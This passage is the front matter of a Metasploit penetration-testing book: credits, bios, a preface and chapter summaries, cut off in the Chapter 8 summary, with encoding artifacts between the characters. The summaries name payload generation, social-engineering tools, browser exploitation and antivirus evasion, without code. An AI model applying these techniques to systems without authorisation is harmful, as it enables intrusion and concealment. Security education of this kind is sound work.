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�M�e�t�a�s�p�l�o�i�t� �f�o�r� �B�e�g�i�n�n�e�r�s
�C�o�p�y�r�i�g�h�t� �©� �2�0�1�7� �P�a�c�k�t� �P�u�b�l�i�s�h�i�n�g

�A�l�l� �r�i�g�h�t�s� �r�e�s�e�r�v�e�d�.� �N�o� �p�a�r�t� �o�f� �t�h�i�s� �b�o�o�k� �m�a�y� �b�e� �r�e�p�r�o�d�u�c�e�d�,� �s�t�o�r�e�d� �i�n� �a� �r�e�t�r�i�e�v�a�l� �s�y�s�t�e�m�,� �o�r
�t�r�a�n�s�m�i�t�t�e�d� �i�n� �a�n�y� �f�o�r�m� �o�r� �b�y� �a�n�y� �m�e�a�n�s�,� �w�i�t�h�o�u�t� �t�h�e� �p�r�i�o�r� �w�r�i�t�t�e�n� �p�e�r�m�i�s�s�i�o�n� �o�f� �t�h�e
�p�u�b�l�i�s�h�e�r�,� �e�x�c�e�p�t� �i�n� �t�h�e� �c�a�s�e� �o�f� �b�r�i�e�f� �q�u�o�t�a�t�i�o�n�s� �e�m�b�e�d�d�e�d� �i�n� �c�r�i�t�i�c�a�l� �a�r�t�i�c�l�e�s� �o�r� �r�e�v�i�e�w�s�.

�E�v�e�r�y� �e�f�f�o�r�t� �h�a�s� �b�e�e�n� �m�a�d�e� �i�n� �t�h�e� �p�r�e�p�a�r�a�t�i�o�n� �o�f� �t�h�i�s� �b�o�o�k� �t�o� �e�n�s�u�r�e� �t�h�e� �a�c�c�u�r�a�c�y� �o�f� �t�h�e
�i�n�f�o�r�m�a�t�i�o�n� �p�r�e�s�e�n�t�e�d�.� �H�o�w�e�v�e�r�,� �t�h�e� �i�n�f�o�r�m�a�t�i�o�n� �c�o�n�t�a�i�n�e�d� �i�n� �t�h�i�s� �b�o�o�k� �i�s� �s�o�l�d� �w�i�t�h�o�u�t
�w�a�r�r�a�n�t�y�,� �e�i�t�h�e�r� �e�x�p�r�e�s�s� �o�r� �i�m�p�l�i�e�d�.� �N�e�i�t�h�e�r� �t�h�e� �a�u�t�h�o�r�,� �n�o�r� �P�a�c�k�t� �P�u�b�l�i�s�h�i�n�g�,� �a�n�d� �i�t�s
�d�e�a�l�e�r�s� �a�n�d� �d�i�s�t�r�i�b�u�t�o�r�s� �w�i�l�l� �b�e� �h�e�l�d� �l�i�a�b�l�e� �f�o�r� �a�n�y� �d�a�m�a�g�e�s� �c�a�u�s�e�d� �o�r� �a�l�l�e�g�e�d� �t�o� �b�e� �c�a�u�s�e�d
�d�i�r�e�c�t�l�y� �o�r� �i�n�d�i�r�e�c�t�l�y� �b�y� �t�h�i�s� �b�o�o�k�.

�P�a�c�k�t� �P�u�b�l�i�s�h�i�n�g� �h�a�s� �e�n�d�e�a�v�o�r�e�d� �t�o� �p�r�o�v�i�d�e� �t�r�a�d�e�m�a�r�k� �i�n�f�o�r�m�a�t�i�o�n� �a�b�o�u�t� �a�l�l� �o�f� �t�h�e
�c�o�m�p�a�n�i�e�s� �a�n�d� �p�r�o�d�u�c�t�s� �m�e�n�t�i�o�n�e�d� �i�n� �t�h�i�s� �b�o�o�k� �b�y� �t�h�e� �a�p�p�r�o�p�r�i�a�t�e� �u�s�e� �o�f� �c�a�p�i�t�a�l�s�.
�H�o�w�e�v�e�r�,� �P�a�c�k�t� �P�u�b�l�i�s�h�i�n�g� �c�a�n�n�o�t� �g�u�a�r�a�n�t�e�e� �t�h�e� �a�c�c�u�r�a�c�y� �o�f� �t�h�i�s� �i�n�f�o�r�m�a�t�i�o�n�.

�F�i�r�s�t� �p�u�b�l�i�s�h�e�d�:� �J�u�l�y� �2�0�1�7

�P�r�o�d�u�c�t�i�o�n� �r�e�f�e�r�e�n�c�e�:� �1�1�4�0�7�1�7

�P�u�b�l�i�s�h�e�d� �b�y� �P�a�c�k�t� �P�u�b�l�i�s�h�i�n�g� �L�t�d�.
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�C�o�p�y� �E�d�i�t�o�r
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�R�e�v�i�e�w�e�r�s
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�T�e�c�h�n�i�c�a�l� �E�d�i�t�o�r
�N�a�v�e�e�n�k�u�m�a�r� �J�a�i�n
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�S�h�a�n�t�a�n�u� �N�.� �Z�a�g�a�d�e



�A�b�o�u�t� �t�h�e� �A�u�t�h�o�r
�S�a�g�a�r� �R�a�h�a�l�k�a�r� �i�s� �a� �s�e�a�s�o�n�e�d� �i�n�f�o�r�m�a�t�i�o�n� �s�e�c�u�r�i�t�y� �p�r�o�f�e�s�s�i�o�n�a�l� �h�a�v�i�n�g� �m�o�r�e� �t�h�a�n� �1�0� �y�e�a�r�s
�o�f� �c�o�m�p�r�e�h�e�n�s�i�v�e� �e�x�p�e�r�i�e�n�c�e� �i�n� �v�a�r�i�o�u�s� �v�e�r�t�i�c�a�l�s� �o�f� �I�S�.� �H�i�s� �d�o�m�a�i�n� �e�x�p�e�r�t�i�s�e� �i�s� �m�a�i�n�l�y� �i�n�t�o
�b�r�e�a�c�h� �d�e�t�e�c�t�i�o�n�,� �c�y�b�e�r� �c�r�i�m�e� �i�n�v�e�s�t�i�g�a�t�i�o�n�s�,� �d�i�g�i�t�a�l� �f�o�r�e�n�s�i�c�s�,� �a�p�p�l�i�c�a�t�i�o�n� �s�e�c�u�r�i�t�y�,
�v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�,� �c�o�m�p�l�i�a�n�c�e� �f�o�r� �m�a�n�d�a�t�e�s� �a�n�d� �r�e�g�u�l�a�t�i�o�n�s�,
�I�T� �G�R�C�,� �a�n�d� �m�u�c�h� �m�o�r�e�.� �H�e� �h�o�l�d�s� �a� �m�a�s�t�e�r ��s� �d�e�g�r�e�e� �i�n� �c�o�m�p�u�t�e�r� �s�c�i�e�n�c�e� �a�n�d� �s�e�v�e�r�a�l
�i�n�d�u�s�t�r�y�-�r�e�c�o�g�n�i�z�e�d� �c�e�r�t�i�f�i�c�a�t�i�o�n�s� �s�u�c�h� �a�s� �C�e�r�t�i�f�i�e�d� �C�y�b�e�r� �C�r�i�m�e� �I�n�v�e�s�t�i�g�a�t�o�r�,� �C�e�r�t�i�f�i�e�d
�E�t�h�i�c�a�l� �H�a�c�k�e�r�,� �C�e�r�t�i�f�i�e�d� �S�e�c�u�r�i�t�y� �A�n�a�l�y�s�t�,� �I�S�O� �2�7�0�0�1� �L�e�a�d� �A�u�d�i�t�o�r�,� �I�B�M� �c�e�r�t�i�f�i�e�d� �S�p�e�c�i�a�l�i�s�t�-
�R�a�t�i�o�n�a�l� �A�p�p�S�c�a�n�,� �C�e�r�t�i�f�i�e�d� �I�n�f�o�r�m�a�t�i�o�n� �S�e�c�u�r�i�t�y� �M�a�n�a�g�e�r� �(�C�I�S�M�)�,� �a�n�d� �P�R�I�N�C�E�2�.� �H�e� �h�a�s
�b�e�e�n� �c�l�o�s�e�l�y� �a�s�s�o�c�i�a�t�e�d� �w�i�t�h� �I�n�d�i�a�n� �l�a�w� �e�n�f�o�r�c�e�m�e�n�t� �a�g�e�n�c�i�e�s� �f�o�r� �m�o�r�e� �t�h�a�n� �3� �y�e�a�r�s� �d�e�a�l�i�n�g
�w�i�t�h� �d�i�g�i�t�a�l� �c�r�i�m�e� �i�n�v�e�s�t�i�g�a�t�i�o�n�s� �a�n�d� �r�e�l�a�t�e�d� �t�r�a�i�n�i�n�g� �a�n�d� �r�e�c�e�i�v�e�d� �s�e�v�e�r�a�l� �a�w�a�r�d�s� �a�n�d
�a�p�p�r�e�c�i�a�t�i�o�n�s� �f�r�o�m� �s�e�n�i�o�r� �o�f�f�i�c�i�a�l�s� �o�f� �t�h�e� �p�o�l�i�c�e� �a�n�d� �d�e�f�e�n�s�e� �o�r�g�a�n�i�z�a�t�i�o�n�s� �i�n� �I�n�d�i�a�.� �S�a�g�a�r
�h�a�s� �a�l�s�o� �b�e�e�n� �a� �r�e�v�i�e�w�e�r� �a�n�d� �a�u�t�h�o�r� �f�o�r� �v�a�r�i�o�u�s� �b�o�o�k�s� �a�n�d� �o�n�l�i�n�e� �p�u�b�l�i�c�a�t�i�o�n�s�.



�A�b�o�u�t� �t�h�e� �R�e�v�i�e�w�e�r
�A�d�r�i�a�n� �P�r�u�t�e�a�n�u� �i�s� �a� �s�e�n�i�o�r� �c�o�n�s�u�l�t�a�n�t� �w�h�o� �s�p�e�c�i�a�l�i�z�e�s� �i�n� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �a�n�d� �r�e�v�e�r�s�e
�e�n�g�i�n�e�e�r�i�n�g�.� �W�i�t�h� �o�v�e�r� �1�0� �y�e�a�r�s� �o�f� �e�x�p�e�r�i�e�n�c�e� �i�n� �t�h�e� �s�e�c�u�r�i�t�y� �i�n�d�u�s�t�r�y�,� �A�d�r�i�a�n� �h�a�s� �p�r�o�v�i�d�e�d
�s�e�r�v�i�c�e�s� �t�o� �a�l�l� �m�a�j�o�r� �f�i�n�a�n�c�i�a�l� �i�n�s�t�i�t�u�t�i�o�n�s� �i�n� �C�a�n�a�d�a�,� �a�s� �w�e�l�l� �a�s� �c�o�u�n�t�l�e�s�s� �o�t�h�e�r� �c�o�m�p�a�n�i�e�s
�a�r�o�u�n�d� �t�h�e� �w�o�r�l�d�.� �Y�o�u� �c�a�n� �f�i�n�d� �h�i�m� �o�n� �T�w�i�t�t�e�r� �a�s� @waydrian �.



�w�w�w�.�P�a�c�k�t�P�u�b�.�c�o�m
�F�o�r� �s�u�p�p�o�r�t� �f�i�l�e�s� �a�n�d� �d�o�w�n�l�o�a�d�s� �r�e�l�a�t�e�d� �t�o� �y�o�u�r� �b�o�o�k�,� �p�l�e�a�s�e� �v�i�s�i�t� www.PacktPub.com �.

�D�i�d� �y�o�u� �k�n�o�w� �t�h�a�t� �P�a�c�k�t� �o�f�f�e�r�s� �e�B�o�o�k� �v�e�r�s�i�o�n�s� �o�f� �e�v�e�r�y� �b�o�o�k� �p�u�b�l�i�s�h�e�d�,� �w�i�t�h� �P�D�F� �a�n�d
�e�P�u�b� �f�i�l�e�s� �a�v�a�i�l�a�b�l�e�?� �Y�o�u� �c�a�n� �u�p�g�r�a�d�e� �t�o� �t�h�e� �e�B�o�o�k� �v�e�r�s�i�o�n� �a�t� www.PacktPub.com � �a�n�d� �a�s� �a
�p�r�i�n�t� �b�o�o�k� �c�u�s�t�o�m�e�r�,� �y�o�u� �a�r�e� �e�n�t�i�t�l�e�d� �t�o� �a� �d�i�s�c�o�u�n�t� �o�n� �t�h�e� �e�B�o�o�k� �c�o�p�y�.� �G�e�t� �i�n� �t�o�u�c�h� �w�i�t�h� �u�s
�a�t� service@packtpub.com � �f�o�r� �m�o�r�e� �d�e�t�a�i�l�s�.

�A�t� www.PacktPub.com �,� �y�o�u� �c�a�n� �a�l�s�o� �r�e�a�d� �a� �c�o�l�l�e�c�t�i�o�n� �o�f� �f�r�e�e� �t�e�c�h�n�i�c�a�l� �a�r�t�i�c�l�e�s�,� �s�i�g�n� �u�p� �f�o�r� �a
�r�a�n�g�e� �o�f� �f�r�e�e� �n�e�w�s�l�e�t�t�e�r�s� �a�n�d� �r�e�c�e�i�v�e� �e�x�c�l�u�s�i�v�e� �d�i�s�c�o�u�n�t�s� �a�n�d� �o�f�f�e�r�s� �o�n� �P�a�c�k�t� �b�o�o�k�s� �a�n�d
�e�B�o�o�k�s�.
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�G�e�t� �t�h�e� �m�o�s�t� �i�n�-�d�e�m�a�n�d� �s�o�f�t�w�a�r�e� �s�k�i�l�l�s� �w�i�t�h� �M�a�p�t�.� �M�a�p�t� �g�i�v�e�s� �y�o�u� �f�u�l�l� �a�c�c�e�s�s� �t�o� �a�l�l� �P�a�c�k�t
�b�o�o�k�s� �a�n�d� �v�i�d�e�o� �c�o�u�r�s�e�s�,� �a�s� �w�e�l�l� �a�s� �i�n�d�u�s�t�r�y�-�l�e�a�d�i�n�g� �t�o�o�l�s� �t�o� �h�e�l�p� �y�o�u� �p�l�a�n� �y�o�u�r� �p�e�r�s�o�n�a�l
�d�e�v�e�l�o�p�m�e�n�t� �a�n�d� �a�d�v�a�n�c�e� �y�o�u�r� �c�a�r�e�e�r�.

�W�h�y� �s�u�b�s�c�r�i�b�e�?
�F�u�l�l�y� �s�e�a�r�c�h�a�b�l�e� �a�c�r�o�s�s� �e�v�e�r�y� �b�o�o�k� �p�u�b�l�i�s�h�e�d� �b�y� �P�a�c�k�t
�C�o�p�y� �a�n�d� �p�a�s�t�e�,� �p�r�i�n�t�,� �a�n�d� �b�o�o�k�m�a�r�k� �c�o�n�t�e�n�t
�O�n� �d�e�m�a�n�d� �a�n�d� �a�c�c�e�s�s�i�b�l�e� �v�i�a� �a� �w�e�b� �b�r�o�w�s�e�r
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�P�r�e�f�a�c�e
�F�o�r� �m�o�r�e� �t�h�a�n� �a� �d�e�c�a�d�e� �o�r� �s�o�,� �t�h�e� �u�s�e� �o�f� �t�e�c�h�n�o�l�o�g�y� �h�a�s� �b�e�e�n� �r�i�s�i�n�g� �e�x�p�o�n�e�n�t�i�a�l�l�y�.� �A�l�m�o�s�t
�a�l�l� �o�f� �t�h�e� �b�u�s�i�n�e�s�s�e�s� �a�r�e� �p�a�r�t�i�a�l�l�y� �o�r� �c�o�m�p�l�e�t�e�l�y� �d�e�p�e�n�d�e�n�t� �o�n� �t�h�e� �u�s�e� �o�f� �t�e�c�h�n�o�l�o�g�y�.� �F�r�o�m
�b�i�t�c�o�i�n�s� �t�o� �c�l�o�u�d� �t�o� �I�n�t�e�r�n�e�t�-�o�f�-�T�h�i�n�g�s� �(�I�o�T�)�,� �n�e�w� �t�e�c�h�n�o�l�o�g�i�e�s� �a�r�e� �p�o�p�p�i�n�g� �u�p� �e�a�c�h� �d�a�y�.
�W�h�i�l�e� �t�h�e�s�e� �t�e�c�h�n�o�l�o�g�i�e�s� �c�o�m�p�l�e�t�e�l�y� �c�h�a�n�g�e� �t�h�e� �w�a�y� �w�e� �d�o� �t�h�i�n�g�s�,� �t�h�e�y� �a�l�s�o� �b�r�i�n�g� �a�l�o�n�g
�t�h�r�e�a�t�s� �w�i�t�h� �t�h�e�m�.� �A�t�t�a�c�k�e�r�s� �d�i�s�c�o�v�e�r� �n�e�w� �a�n�d� �i�n�n�o�v�a�t�i�v�e� �w�a�y�s� �t�o� �m�a�n�i�p�u�l�a�t�e� �t�h�e�s�e
�t�e�c�h�n�o�l�o�g�i�e�s� �f�o�r� �f�u�n� �a�n�d� �p�r�o�f�i�t�!� �T�h�i�s� �i�s� �a� �m�a�t�t�e�r� �o�f� �c�o�n�c�e�r�n� �t�o� �t�h�o�u�s�a�n�d�s� �o�f� �o�r�g�a�n�i�z�a�t�i�o�n�s
�a�n�d� �b�u�s�i�n�e�s�s�e�s� �a�r�o�u�n�d� �t�h�e� �w�o�r�l�d�.� �O�r�g�a�n�i�z�a�t�i�o�n�s� �w�o�r�l�d�w�i�d�e� �a�r�e� �d�e�e�p�l�y� �c�o�n�c�e�r�n�e�d� �a�b�o�u�t
�k�e�e�p�i�n�g� �t�h�e�i�r� �d�a�t�a� �s�a�f�e�.� �P�r�o�t�e�c�t�i�n�g� �d�a�t�a� �i�s� �c�e�r�t�a�i�n�l�y� �i�m�p�o�r�t�a�n�t�,� �h�o�w�e�v�e�r�,� �t�e�s�t�i�n�g� �w�h�e�t�h�e�r
�a�d�e�q�u�a�t�e� �p�r�o�t�e�c�t�i�o�n� �m�e�c�h�a�n�i�s�m�s� �h�a�v�e� �b�e�e�n� �p�u�t� �t�o� �w�o�r�k� �i�s� �a�l�s�o� �e�q�u�a�l�l�y� �i�m�p�o�r�t�a�n�t�.
�P�r�o�t�e�c�t�i�o�n� �m�e�c�h�a�n�i�s�m�s� �c�a�n� �f�a�i�l�,� �h�e�n�c�e� �t�e�s�t�i�n�g� �t�h�e�m� �b�e�f�o�r�e� �s�o�m�e�o�n�e� �e�x�p�l�o�i�t�s� �t�h�e�m� �f�o�r� �r�e�a�l� �i�s
�a� �c�h�a�l�l�e�n�g�i�n�g� �t�a�s�k�.� �H�a�v�i�n�g� �s�a�i�d� �t�h�i�s�,� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �h�a�v�e
�g�a�i�n�e�d� �h�i�g�h� �i�m�p�o�r�t�a�n�c�e� �a�n�d� �i�s� �n�o�w� �t�r�i�v�i�a�l�l�y� �i�n�c�l�u�d�e�d� �i�n� �a�l�l� �c�o�m�p�l�i�a�n�c�e� �p�r�o�g�r�a�m�s�.� �W�i�t�h� �t�h�e
�v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �d�o�n�e� �i�n� �a� �r�i�g�h�t� �w�a�y�,� �o�r�g�a�n�i�z�a�t�i�o�n�s� �c�a�n
�e�n�s�u�r�e� �t�h�a�t� �t�h�e�y� �h�a�v�e� �p�u�t� �i�n� �t�h�e� �r�i�g�h�t� �s�e�c�u�r�i�t�y� �c�o�n�t�r�o�l�s�,� �a�n�d� �t�h�e�y� �a�r�e� �f�u�n�c�t�i�o�n�i�n�g� �a�s
�e�x�p�e�c�t�e�d�!� �F�o�r� �m�a�n�y�,� �t�h�e� �p�r�o�c�e�s�s� �o�f� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �m�a�y
�l�o�o�k� �e�a�s�y� �j�u�s�t� �b�y� �r�u�n�n�i�n�g� �a�n� �a�u�t�o�m�a�t�e�d� �s�c�a�n�n�e�r� �a�n�d� �g�e�n�e�r�a�t�i�n�g� �a� �l�o�n�g� �r�e�p�o�r�t� �w�i�t�h� �f�a�l�s�e
�p�o�s�i�t�i�v�e�s�.� �H�o�w�e�v�e�r�,� �i�n� �r�e�a�l�i�t�y�,� �t�h�i�s� �p�r�o�c�e�s�s� �i�s� �n�o�t� �j�u�s�t� �a�b�o�u�t� �r�u�n�n�i�n�g� �t�o�o�l�s� �b�u�t� �a� �c�o�m�p�l�e�t�e
�l�i�f�e�c�y�c�l�e�.� �F�o�r�t�u�n�a�t�e�l�y�,� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�a�n� �b�e� �p�l�u�g�g�e�d�-�i�n� �i�n� �a�l�m�o�s�t� �e�a�c�h� �p�h�a�s�e� �o�f
�t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e�c�y�c�l�e� �m�a�k�i�n�g� �c�o�m�p�l�e�x� �t�a�s�k�s� �e�a�s�i�e�r�.� �T�h�i�s� �b�o�o�k� �w�i�l�l� �t�a�k�e� �y�o�u
�t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �a�b�s�o�l�u�t�e� �b�a�s�i�c�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �t�o� �t�h�e� �a�d�v�a�n�c�e�d� �a�n�d
�s�o�p�h�i�s�t�i�c�a�t�e�d� �f�e�a�t�u�r�e�s� �t�h�a�t� �t�h�e� �f�r�a�m�e�w�o�r�k� �h�a�s� �t�o� �o�f�f�e�r�!

�W�h�a�t� �t�h�i�s� �b�o�o�k� �c�o�v�e�r�s
Chapter 1, � �I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �a�n�d� �S�u�p�p�o�r�t�i�n�g� �T�o�o�l�s�,� �i�n�t�r�o�d�u�c�e�s� �t�h�e� �r�e�a�d�e�r� �t�o� �c�o�n�c�e�p�t�s
�s�u�c�h� �a�s� �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s�s�e�s�s�m�e�n�t� �a�n�d� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g�.� �T�h�e�n�,� �t�h�e� �r�e�a�d�e�r� �w�o�u�l�d
�u�n�d�e�r�s�t�a�n�d� �t�h�e� �n�e�e�d� �f�o�r� �a� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �f�r�a�m�e�w�o�r�k� �a�l�o�n�g� �w�i�t�h� �a� �b�r�i�e�f� �i�n�t�r�o�d�u�c�t�i�o�n� �t�o
�t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �M�o�v�i�n�g� �a�h�e�a�d�,� �t�h�e� �c�h�a�p�t�e�r� �e�x�p�l�a�i�n�s� �h�o�w� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �c�a�n� �b�e� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e�d� �a�c�r�o�s�s� �a�l�l� �s�t�a�g�e�s� �o�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e�c�y�c�l�e� �a�l�o�n�g
�w�i�t�h� �s�o�m�e� �s�u�p�p�o�r�t�i�n�g� �t�o�o�l�s� �t�h�a�t� �e�x�t�e�n�d� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k ��s� �c�a�p�a�b�i�l�i�t�y�.
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Chapter 2 �,� �S�e�t�t�i�n�g� �u�p� �Y�o�u�r� �E�n�v�i�r�o�n�m�e�n�t�,� �e�s�s�e�n�t�i�a�l�l�y� �g�u�i�d�e�s� �o�n� �s�e�t�t�i�n�g� �u�p� �t�h�e� �e�n�v�i�r�o�n�m�e�n�t
�f�o�r� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �T�h�i�s� �i�n�c�l�u�d�e�s� �s�e�t�t�i�n�g� �u�p� �t�h�e� �K�a�l�i� �L�i�n�u�x� �v�i�r�t�u�a�l� �m�a�c�h�i�n�e�,
�i�n�d�e�p�e�n�d�e�n�t�l�y� �i�n�s�t�a�l�l�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�n� �v�a�r�i�o�u�s� �p�l�a�t�f�o�r�m�s�,� �s�u�c�h� �a�s� �W�i�n�d�o�w�s
�a�n�d� �L�i�n�u�x�,� �a�n�d� �s�e�t�t�i�n�g� �u�p� �e�x�p�l�o�i�t�a�b�l�e� �o�r� �v�u�l�n�e�r�a�b�l�e� �t�a�r�g�e�t�s� �i�n� �t�h�e� �v�i�r�t�u�a�l� �e�n�v�i�r�o�n�m�e�n�t�.

Chapter 3 �,� �M�e�t�a�s�p�l�o�i�t� �C�o�m�p�o�n�e�n�t�s� �a�n�d� �E�n�v�i�r�o�n�m�e�n�t� �C�o�n�f�i�g�u�r�a�t�i�o�n�,� �c�o�v�e�r�s� �t�h�e� �s�t�r�u�c�t�u�r�e� �a�n�d
�a�n�a�t�o�m�y� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �f�o�l�l�o�w�e�d� �b�y� �t�h�e� �i�n�t�r�o�d�u�c�t�i�o�n� �t�o� �v�a�r�i�o�u�s� �M�e�t�a�s�p�l�o�i�t
�c�o�m�p�o�n�e�n�t�s�.� �T�h�i�s� �c�h�a�p�t�e�r� �a�l�s�o� �c�o�v�e�r�s� �t�h�e� �l�o�c�a�l� �a�n�d� �g�l�o�b�a�l� �v�a�r�i�a�b�l�e� �c�o�n�f�i�g�u�r�a�t�i�o�n� �a�l�o�n�g� �w�i�t�h
�p�r�o�c�e�d�u�r�e� �t�o� �k�e�e�p� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �u�p�d�a�t�e�d�.

Chapter 4 �,� �I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �l�a�y�s� �t�h�e� �f�o�u�n�d�a�t�i�o�n� �f�o�r� �i�n�f�o�r�m�a�t�i�o�n
�g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �w�i�t�h� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.� �I�t� �c�o�v�e�r�s� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g
�a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �f�o�r� �v�a�r�i�o�u�s� �p�r�o�t�o�c�o�l�s� �s�u�c�h� �a�s� �T�C�P�,� �U�D�P�,� �F�T�P�,� �S�M�B�,� �H�T�T�P�,� �S�S�H�,� �D�N�S�,� �a�n�d
�R�D�P�.� �I�t� �a�l�s�o� �c�o�v�e�r�s� �e�x�t�e�n�d�e�d� �u�s�a�g�e� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �f�o�r� �p�a�s�s�w�o�r�d� �s�n�i�f�f�i�n�g
�a�l�o�n�g� �w�i�t�h� �t�h�e� �a�d�v�a�n�c�e�d� �s�e�a�r�c�h� �f�o�r� �v�u�l�n�e�r�a�b�l�e� �s�y�s�t�e�m�s� �u�s�i�n�g� �S�h�o�d�a�n� �i�n�t�e�g�r�a�t�i�o�n�.

Chapter 5 �,� �V�u�l�n�e�r�a�b�i�l�i�t�y� �H�u�n�t�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �s�t�a�r�t�s� �w�i�t�h� �i�n�s�t�r�u�c�t�i�o�n�s� �o�n� �s�e�t�t�i�n�g� �u�p� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �d�a�t�a�b�a�s�e�.� �T�h�e�n�,� �i�t� �p�r�o�v�i�d�e�s� �i�n�s�i�g�h�t�s� �o�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g� �a�n�d� �e�x�p�l�o�i�t�i�n�g
�u�s�i�n�g� �N�M�A�P�,� �N�e�s�s�u�s� �a�n�d� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �c�o�n�c�l�u�d�i�n�g� �w�i�t�h� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n
�c�a�p�a�b�i�l�i�t�i�e�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�.

Chapter 6 �,� �C�l�i�e�n�t�-�s�i�d�e� �A�t�t�a�c�k�s� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �i�n�t�r�o�d�u�c�e�s� �k�e�y� �t�e�r�m�i�n�o�l�o�g�y� �r�e�l�a�t�e�d� �t�o� �c�l�i�e�n�t�-
�s�i�d�e� �a�t�t�a�c�k�s�.� �I�t� �t�h�e�n� �c�o�v�e�r�s� �t�h�e� �u�s�a�g�e� �o�f� �t�h�e� �m�s�f�v�e�n�o�m� �u�t�i�l�i�t�y� �t�o� �g�e�n�e�r�a�t�e� �c�u�s�t�o�m� �p�a�y�l�o�a�d�s
�a�l�o�n�g� �w�i�t�h� �t�h�e� �S�o�c�i�a�l� �E�n�g�i�n�e�e�r�i�n�g� �T�o�o�l�k�i�t�.� �T�h�e� �c�h�a�p�t�e�r� �c�o�n�c�l�u�d�e�s� �w�i�t�h� �a�d�v�a�n�c�e�d� �b�r�o�w�s�e�r�-
�b�a�s�e�d� �a�t�t�a�c�k�s� �u�s�i�n�g� �t�h�e� �b�r�o�w�s�e�r�_�a�u�t�o�p�w�n� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�.

Chapter 7 �,� �W�e�b� �A�p�p�l�i�c�a�t�i�o�n� �S�c�a�n�n�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t�,� �c�o�v�e�r�s� �t�h�e� �p�r�o�c�e�d�u�r�e� �o�f� �s�e�t�t�i�n�g� �u�p� �a
�v�u�l�n�e�r�a�b�l�e� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n�.� �I�t� �t�h�e�n� �c�o�v�e�r�s� �t�h�e� �w�m�a�p� �m�o�d�u�l�e� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �f�o�r� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �s�c�a�n�n�i�n�g� �a�n�d� �c�o�n�c�l�u�d�e�s� �w�i�t�h� �s�o�m�e� �a�d�d�i�t�i�o�n�a�l
�M�e�t�a�s�p�l�o�i�t� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �t�h�a�t� �c�a�n� �b�e� �u�s�e�f�u�l� �i�n� �w�e�b� �a�p�p�l�i�c�a�t�i�o�n� �s�e�c�u�r�i�t�y� �a�s�s�e�s�s�m�e�n�t�.

Chapter 8 �,� �A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-�F�o�r�e�n�s�i�c�s�,� �c�o�v�e�r�s� �t�h�e� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �t�o� �a�v�o�i�d
�p�a�y�l�o�a�d� �g�e�t�t�i�n�g� �d�e�t�e�c�t�e�d� �b�y� �v�a�r�i�o�u�s� �a�n�t�i�v�i�r�u�s� �p�r�o�g�r�a�m�s�.� �T�h�e�s�e� �t�e�c�h�n�i�q�u�e�s� �i�n�c�l�u�d�e� �t�h�e� �u�s�e
